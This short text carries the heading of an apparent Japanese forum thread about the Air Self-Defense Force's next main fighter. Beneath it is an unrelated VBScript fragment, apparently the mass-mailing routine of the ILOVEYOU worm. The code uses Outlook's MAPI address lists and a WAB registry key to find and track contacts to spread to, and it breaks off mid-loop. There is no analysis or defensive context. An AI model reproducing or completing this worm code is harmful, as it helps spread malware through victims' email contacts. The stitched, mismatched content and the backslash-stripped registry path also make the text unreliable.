空自次期主力戦闘機考察スレ219

sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")　　

for ctrlists=1 to mapi.AddressLists.Count
　　set a=mapi.AddressLists(ctrlists)
　　x=1
　　regv=regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a)
　　if (regv="") then
　　　　regv=1
　　end if